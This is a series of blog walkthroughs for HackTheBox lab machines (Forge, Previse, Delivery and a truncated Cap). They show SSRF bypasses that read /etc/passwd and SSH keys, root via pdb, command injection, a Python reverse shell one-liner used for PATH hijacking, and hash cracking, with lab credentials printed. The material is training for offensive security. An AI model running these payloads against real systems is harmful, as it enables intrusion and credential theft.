Thus, viewing the response (which contains HTML webage source code) in Burp we can verify that we have a successfully bypassed the filter.

Now, coming to the main part, let’s try accessing the admin.forge.htb sub-doamin using a similar technique to bypass the filter.

Bypassing the blacklist filter using capitalized letters ->

payload : http://admin.FORGE.htb

Again intercepting the request & response in Burp, we can see that we have successfully accessed the admin.forge.htb sub-domain –

• You could also intercept the response in Burp and change the Content-Type header to the following in the intercepted response and view the webpage in browser as well :

Content-Type: text/html; charset=utf-8

We can spot two hyperlinks on the admin.forge.htb page :

admin.forge.htb/announcements
admin.forge.htb/upload

Let’s visit them too (using the SSRF endpoint ofc) :

→ An internal ftp server has been setup with credentials as user:heightofsecurity123! → The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url. → The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.

We have the FTP credentials 🙂

And the upload functionality on the admin.forge.htb/upload supports ftp protocol.

Connecting to FTP (via SSRF endpoint)

I googled to find about “how to FTP via URL” :

How to use FTP from a browser? (webhostface.com)

Going ahead and connecting to FTP using URL in the SSRF endpoint, we get the following response :

Format for FTP protocol via URL -->  ftp://username:password@hostname

http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1

This seems to be the home directory of a user on the box because we can see user.txt listed in here.

Listing the users in /etc/passwd we saw that there exists only one user other than root which is  user web

http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/etc/passwd

Fetching the SSH key id_rsa via FTP

We got the SSH private key via FTP for user web :

http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/.ssh/id_rsa

Forge Writeup: User Flag ⛳

Using the obtained SSH key to connect via SSH to user user on the box :

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Forge/revision]
└─# ssh -i user_id.rsa user@$IP
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  <https://help.ubuntu.com>
 * Management:     <https://landscape.canonical.com>
 * Support:        <https://ubuntu.com/advantage>

  System information as of Thu 20 Nov 2021 08:01:10 AM UTC

  System load:  0.0               Processes:             224
  Usage of /:   44.0% of 6.82GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings

Last login: Wed Nov 19 17:26:02 2021 from 10.10.14.4

user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)

user@forge:~$ cat user.txt 
f2d52***************************

Forge Writeup: Privilege Escalation

Checking the sudo permissions for user web :

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

user@forge:/opt$ ls -l
total 4
-rwxr-xr-x 1 root root 1447 May 31  2021 remote-manage.py

Content of remote-manage.py

user@forge:/opt$ cat remote-manage.py       
                                                                                                                                       
#!/usr/bin/env python3
import socket           
import random                                                                                                                                                                               
import subprocess                                                                             
import pdb       
                                               
port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\\n')
    else:
        clientsock.send(b'Welcome admin!\\n')
        while True:
            clientsock.send(b'\\nWhat do you wanna do: \\n')
            clientsock.send(b'[1] View processes\\n')
            clientsock.send(b'[2] View free memory\\n')
            clientsock.send(b'[3] View listening sockets\\n')
            clientsock.send(b'[4] Quit\\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

This is a simple script which :

• Selects a random port & listens on that port on localhost (127.0.0.1)
• When we connect to this port on “localhost” we are asked for a password (which can be seen the contents of the file → secretadminpassword)
• After entering the correct password, we are given 4 choices.
• We can give the number corresponding to the choice of the option we want to choose.

user@forge:~$ nc 127.0.0.1 14801

Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

• Depending on the choice the user makes, a corresponding command is run and its output is sent back to the connected user.
• And in case there is any kind of error, the script has an except which launches the pdb (python debugger) for the error encountered.

Testing remote-manage.py

We tested this program for an invalid input which raises an error and in turn launches pdb (Python Debugger) on the host.

Giving an invalid input to the program :

user@forge:~$ nc 127.0.0.1 14801

Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

iNeedaGirlfriend<3

pdb prompt is launched on the  host on receiving the invalid input :

user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14801

invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) 

Searching the web about how to privesc using pdb we found this on GTFO bins :

So, turns out that we can simply run python commands inside the pdb prompt 😄

Forge Writeup: Root Flag ⛳

Let’s spawn a root shell from inside the pdb prompt !

user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14801
invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())

(Pdb) import os;
(Pdb) os.system('/bin/sh');

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
c78e1***************************

Yayy ! Congrats on rooting Forge 🎉🥳

Do checkout other interesting writeups & walkthroughs on sheerazali.com

This is a walkthrough writeup on Previse which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering and exploiting command injection in POST request parameter, meanwhile the privilege escalation part was done using PATH variable exploitation. Overall an easy & beginner friendly box.

Walkthrough

Previse Writeup: Scanning Network

Running the usual Nmap port scan :

Command used --> nmap -A -n -Pn -v -sC -sV -oN nmap.initial 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.19s latency).
Not shown: 998 closed ports

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We have 3 ports to play with :

port 22 : SSH
port 80 : Apache web-server

Previse Writeup: Web Enumeration

Checking out the hosted website in our browser :

We were greeted with a login page on browsing the target IP.

Running a Dirbuster Scan

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Thu Oct 21 02:42:57 EDT 2021
--------------------------------

http://10.10.11.104:80
--------------------------------
Directories found during testing:

Dirs found with a 302 response:

/

Files found with a 302 responce:

/index.php
/accounts.php
/files.php
/status.php
/file_logs.php
/logout.php
/download.php
/logs.php

Files found with a 200 responce:

/login.php
/js/uikit-icons.min.js
/js/uikit.min.js

--------------------------------

Whatever page i tried to visit, they all were redirected to login.php

I went onto examine the source code of login.php, and did see something interesting —>

<meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />

This somewhat hinted towards brute forcing the login page for user m4lwhere with rockyou.txt

I tried brute forcing my way in, but no luck. I even tried SQLi manually and through sqlmap, but again no luck.

Burrrrrrp !

I suspected these redirections and intercepted the requests with Burp.

Ahaaa ! As suspected, the server responds with the the whole page content, but gives a Status Code 302 for redirection.

We can alter the Status code in the response from 302 to 200, (also remove the Location) and be able to see the contents of the requested page in our browser.

Now we are able to see the index.php in our browser.

Similarly enumerating other parts of the website, by altering the response status codes to 200.

Website Enumeration

We went ahead and created a new user.

At this point we can turn stop altering the response status codes in Burp and login with the new account, and browse the website.

A page on the site specifies that a MySQL database is being used on the server. (Management Menu —> Website Status)

After this we found this functionality of being able to download the file_access logs

The interesting feature here is that we can select between 3 options as the delimiter which we want to use in the  file.

for example using the tab delimiter —>

I also saw a files section, where we could upload files, and download the already uploaded files.

• I tried uploading a php-reverse shell but i wasn’t able to execute it on the webserver, I was only able to download it back.
• Then I went ahead and downloaded the already uploaded file, SITEBACKUP.zip
• On unzipping the .gz file with gzip -d /path/to/.gz/filename , I found the following files, which seems like the source code files for this website :

Previse Writeup: Enumerating the source code files

MySQL DB creds

The config.php file had the creds for the MySQL database.

<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

password:   mySQL_p@ssw0rd!:)

On further examining source code files, I saw that the parameters being inputted by the user were sanitized everywhere, thus SQLi was not possible.

But a file stood out in this criteria which was logs.php

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>

In this file, as we can see that the delim parameter is not being sanitized and is directly being passed into the bash execution string as a parameter for the python script which probably generated the file_access log file..

Hahahahah, lets get a lil evil here 😈

Exploiting the delim paramter in the file_access log request

Let’s inject the delim parameter with a reverse shell..

Because we know that the box has python installed as it is running a python script, lets use a python reverse shell from pentest monkey.

Nice, we have a reverse shell. Also convert it to a tty shell for convenience.

We have a reverse shell as user www-data

Enumerating the system

We see that there is a user m4lwhere but we cannot read the user flag.

MySQL Database

Let’s connect to the mySQL database, which we found out during web enumeration and do some recon.

We can use this command to connect to the database (-p is to enter the password as this db is password protected)

mysql -u root -h localhost -p

www-data@previse:/home/m4lwhere$ mysql -u root -h localhost -p                                                                                                                     [213/241]
mysql -u root -h localhost -p                                                                                                                                                               
Enter password: mySQL_p@ssw0rd!:)                                                                                                                                                           
                                                                                                                                                                                            
Welcome to the MySQL monitor.  Commands end with ; or \g.                                                                                                                                   
Your MySQL connection id is 11                                                                                                                                                              
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)                                                                                                                                            
                                                                                                                                                                                            
Copyright (c) 2000, 2021, Oracle and/or its affiliates.                                                                                                                                     
                                                                                                                                                                                            
Oracle is a registered trademark of Oracle Corporation and/or its                                                                                                                           
affiliates. Other names may be trademarks of their respective                                                                                                                               
owners.                                                                                                                                                                                     
                                                                                                                                                                                            
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.                                                                                                              
                                                                                                                                                                                            
mysql> show databases;                                                                                                                                                                      
show databases;                                                                                                                                                                             
+--------------------+                                                                                                                                                                      
| Database           |                                                                                                                                                                      
+--------------------+                                                                                                                                                                      
| information_schema |                                                                                                                                                                      
| mysql              |                                                                                                                                                                      
| performance_schema |                                                                                                                                                                      
| previse            |                                                                                                                                                                      
| sys                |                                                                                                                                                                      
+--------------------+                                                                                                                                                                      
5 rows in set (0.00 sec)                                                                                                                                                                    
                                                                                                                                                                                            
mysql> use previse;                                                                                                                                                                         
use previse;                                                                                                                                                                                
Reading table information for completion of table and column names                                                                                                                          
You can turn off this feature to get a quicker startup with -A

Database changed                                                                                                                                                                            
mysql> show tables;                                                                                                                                                                         
show tables;                                                                                                                                                                                
+-------------------+                                                                                                                                                                       
| Tables_in_previse |                                                                                                                                                                       
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select * from accounts;
select * from accounts;
+----+-----------+------------------------------------+---------------------+
| id | username  | password                           | created_at          |
+----+-----------+------------------------------------+---------------------+
|  1 | m4lwhere  | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | thedotguy | $1$🧂llol$QrGHpdm6YS1ZtWtQc4LXH/ | 2021-10-21 17:17:33 |
+----+-----------+------------------------------------+---------------------+
2 rows in set (0.00 sec)

We have the password hashes for the users now.

These hashes are using salt.

As seen in the screenshot, the output in the linux terminal will show some strange character in the salt. But on copying and pasting this salt into google or anywhere else, it will be shown as a ‘salt shaker emoji’ 🧂

Yeah, this emoji is the salt. LOL, ikr.

On some googling, I found that this hash is a MD5 crypt hash (as it starts with $1$)

Using Hashcat for Hash Cracking

We checked in the hashcat help command the mode that we need to use :

hashcat -m 500 -a 0 -o cracked.txt ./hash.txt ./rockyou.txt

-m -> hash mode
-a -> dictionary attack

We successfully cracked the hash for user m4lwhere 🙂

hash: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
pass: ilovecody112235!

Previse Writeup: User flag

Now we have the password,L let’s change the user to m4lwhere.

www-data@previse:/home/m4lwhere$ su m4lwhere

Password: ilovecody112235!

m4lwhere@previse:/$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)

m4lwhere@previse:/$ cd /home/m4lwhere
cd /home/m4lwhere

m4lwhere@previse:~$ cat user.txt

0cf4bc6c68c5aa7195c1041abd496e25

Privilege Escalation

On checking the sudo -l permission, we see that there is a backup script which we have the permission to run as root.

m4lwhere@previse:~$ sudo -l
sudo -l
[sudo] password for m4lwhere: ilovecody112235!

User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

Viewing the acess_backup.sh script contents →

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Ahhh, we see that the date command is not using the complete path to the command, thus we can exploit the PATH Variable and make our own “date” command and run it  through that script.

Read more about PATH varibale exploitation here.

Exploiting PATH Variable

• Make a new file named as date in /tmp (because we have write permission in this).
• Paste the python reverse shell in it & change its permission to 777

m4lwhere@previse:~$ echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.2\",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" > /tmp/date

m4lwhere@previse:~$ chmod 777 /tmp/date

• Add /tmp in the PATH variable.

m4lwhere@previse:/opt/scripts$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH

• Now run the script as sudo → sudo /opt/scripts/access_backup.sh

And catch the reveres shell 😂

Previse Writeup: Root flag

┌─[root@kali]─[~/Desktop/Boxes/HTB/Previse]
└──╼ #nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.104] 56280
root@previse:/opt/scripts# whoami

root

root@previse:/opt/scripts# cd /root

root@previse:/root# ls
root.txt

root@previse:/root# cat root.txt
f5584f9474620d38c4a331d46ca0ccee

Yayy ! Congrats on rooting Previse 🎉🥳

Do checkout other interesting writeups & walkthroughs on sheerazali.com

This is a walkthrough writeup on Delivery which is a Linux box categorized as easy on HackTheBox, created by our messiah Ippsec. This box has Mattermost and osTicket running on it. The initial foothold was gained by impersonating email to read the Mattermost server chat which revealed the SSH credentials. Privilige Escalation required us to enumerate the box to find the root password hash & use a hashcat rule-based attack to crack the hash.

Delivery Writeup: Scanning Network

Running the usual Nmap port scan :

Command used : nmap -sC -sV -A -v -n -Pn -oN nmap.initial 10.10.10.222
Nmap scan report for 10.10.10.222
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)

80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2

8065/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Thu, 09 Dec 2021 06:47:37 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: p1pj5pjd4if63xr8umufmyhxse
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Thu, 09 Dec 2021 07:09:06 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Thu, 09 Dec 2021 07:09:07 GMT
|_    Content-Length: 0

We got 3 ports to deal with :

port 22 : SSH
port 80 : web-server
port 8065 : unknown

Website Enumeration

Port 80

We went ahead and visited port 80 in our browser :

Okay, so from this message it seems like that a mattermost server is running on the box, and only a user with @delivery.htb email address has access to Delivery’s mattermost server.

We also found an external link going to helpdesk.delivery.htb

So, I edited the /etc/hosts file and added the following entry, to ensure DNS resolution by our local machine for this domain :

10.10.10.222    helpdesk.delivery.htb

We have a service called as osTicket running on helpdesk.delivery.htb .

What is osTicket ? osTicket is a widely used and trusted open source support ticketing system which easily scales and streamline your customer service and drastically improve your customer's experience. It seamlessly integrates inquiries created via email, phone and web-based forms into a simple easy-to-use multi-user web interface. You can read more about it here.

We will come back to this later.

Port 8065

We have a Mattermost server running on this port.

What is Mattermost ? Mattermost is an open-source, self-hostable online chat service with file sharing, search, and integrations. It is designed as an internal chat for organisations and companies, and mostly markets itself as an open-source alternative to Slack and Microsoft Teams. You can read more about it here.

We can create a new account here, but it will send a email verification link, and we can’t use third party email clients like gmail, because the machine is in HTB’s internal network and it wont be able to send anything outside the internal network.

Also, deducing from the message that we got earlier (in the “contact us” panel), about being able to access the Mattermost server for Delivery only if a user has a @delivery.htb email address.

We might need to somehow get access to a @delivery.htb email address.

Enumerating the osTicket Service

I filled up the details & opened a new ticket.

We are given a confirmation about a new ticket being opened.

Along with which, it also tell us that if we want to add more information to our ticket we can email it to <ticket_number>@delivery.htb

Obviously we can sense something potential here 😈

Checking the Ticket Status

On checking the ticket status we can see the information that we provided in the ticket.

Initial Foothold (email impersonation)

According to the message given earlier, we can add information to our ticket by sending a email to the following email address  <ticket_num>@delivery.htb . So, we can use this email <ticket_num>@delivery.htb in the mattermost signup process, and the verification email link will be sent to it & added to the ticket information which we can view it here in the ticket status section.

Signing up on Mattermost with the above email :

Viewing the “email verification link” added in the ticket information :

After completing the email verification process by visiting the the verification link, we can access the “Internal” channel on the Mattermost server.

There’s a lot of juicy information in the chat here :

Credentials to the server ->  
user : maildeliverer
pass : Youve_G0t_Mail!

Delivery Writeup: User Flag ⛳

SSH into the box using the obtained credentials :

┌─[root@kali]─[/opt/jd-gui]
└──╼ ssh maildeliverer@10.10.10.222

maildeliverer@10.10.10.222's password: 

Last login: Thu Nov 24 08:12:11 2021 from 10.10.14.4

maildeliverer@Delivery:~$ whoami
maildeliverer

maildeliverer@Delivery:~$ cat user.txt
4twqf****************************

Delivery Writeup: Privilege Escalation

During system enumeration, we found this config file for mattermost :

maildeliverer@Delivery:/$ cat /opt/mattermost//config/config.json

It revealed the MySQL databse credentials :

SqlSettings": {                                                                          
        "DriverName": "mysql",                                                                
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],                                                             
        "DataSourceSearchReplicas": [],                                                       
        "MaxIdleConns": 20,               
        "ConnMaxLifetimeMilliseconds": 3600000,                                               
        "MaxOpenConns": 300,                                                                  
        "Trace": false,                     
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",                               
        "QueryTimeout": 30,                                                                   
        "DisableDatabaseSearch": false                                                        
},

MySQL credentials

Database : mysql
user : mmuser
pass : Crack_The_MM_Admin_PW

We can see the obvious hint here that is been given off by the passsword. We need to find the password hash for the root user in the database and crack it 🙂

So, I went ahead and tried to connect to the MySQL database:

maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 91
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]> show tables;
+------------------------+                                                                                                                                                           [8/439]
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+
46 rows in set (0.001 sec)

MariaDB [mattermost]> select * from Users;

-----------SNIP-------------------

0 | root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | NULL     |      
       | root@delivery.htb       |             1 |          |                    |          |          | system_admin system_user |              1 | {}    | {"channel":"true","comments":"n
ever","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1609157893370 |                 0 |    

-----------SNIP-------------------

----- Writing a query to get a readable output  -----

MariaDB [mattermost]> select username,password,email,roles from Users where username='root';
+----------+--------------------------------------------------------------+-------------------+--------------------------+
| username | password                                                     | email             | roles                    |
+----------+--------------------------------------------------------------+-------------------+--------------------------+
| root     | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | root@delivery.htb | system_admin system_user |
+----------+--------------------------------------------------------------+-------------------+--------------------------+
1 row in set (0.001 sec)

We found root’s password hash:

root hash
root : $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

Instead of straightaway rushing to hashcat or johnTheRipper, let’s look back & recall the message that we got in the mattermost server chat about cracking the hashes of passwords like PleaseSubscribe! by using hashcat rules.

We can generate a wordlist containing different variations of the word PleaseSubscribe! using hashcat rules. It will generate a very small wordlist.

What is hashcat rule-based attack ? The rule-based attack is like a programming language designed for password candidate generation. It has functions to modify, cut or extend words and has conditional operators to skip some, etc. That makes it the most flexible, accurate and efficient attack. You can read more about it here.

You can check all available hashcat rules in /usr/share/hashcat/rules/. We will be using the best64 rule in our case to generate the wordlist.

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Delivery]                                                
└─ echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout > wordlist.txt

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Delivery]
└─ wc -l wordlist.txt 
77 wordlist.txt

Now, using JohnTheRipper to crack the hash with help of the wordlist that we just created.

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Delivery]
└─# john hash.txt --wordlist=wordlist.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PleaseSubscribe!21 (?)
1g 0:00:00:00 DONE (2021-12-09 05:40) 2.702g/s 97.29p/s 97.29c/s 97.29C/s PleaseSubscribe!..PleaseSubscrio
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We have successfully cracked the password hash for root.

user : root
pass : PleaseSubscribe!21

All we need to do now is change the user to root using the su root command.

Delivery Writeup: Root Flag ⛳

maildeliverer@Delivery:/opt/mattermost/config$ su root
Password: 

root@Delivery:/opt/mattermost/config# id
uid=0(root) gid=0(root) groups=0(root)

root@Delivery:/opt/mattermost/config# cat /root/root.txt
2dbd****************************

Kudos for successfully rooting Delivery.

Until next time, do checkout other informative writeups and blogs here.

This is a walkthrough writeup on Cap which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by exploiting the parameter tampering vulnerability on the webpage,  that exposed the credentials for FTP, which were also valid for SSH due to password reusability. Privilege escalation was rather easy on this one, in which we exploited the capabilities set for the user.

Cap Writeup: Scanning Network

Running the usual Nmap port scan :

Command used --> nmap -n -Pn -A -sC -sV -v -oN nmap.initial 10.10.10.245
Nmap scan report for 10.10.10.245
Host is up (0.19s latency).
Not shown: 997 closed ports

PORT   STATE SERVICE VERSION

21/tcp open  ftp     vsftpd 3.0.3

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Mon, 25 Oct 2021 05:12:02 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Mon, 25 Oct 2021 05:11:56 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
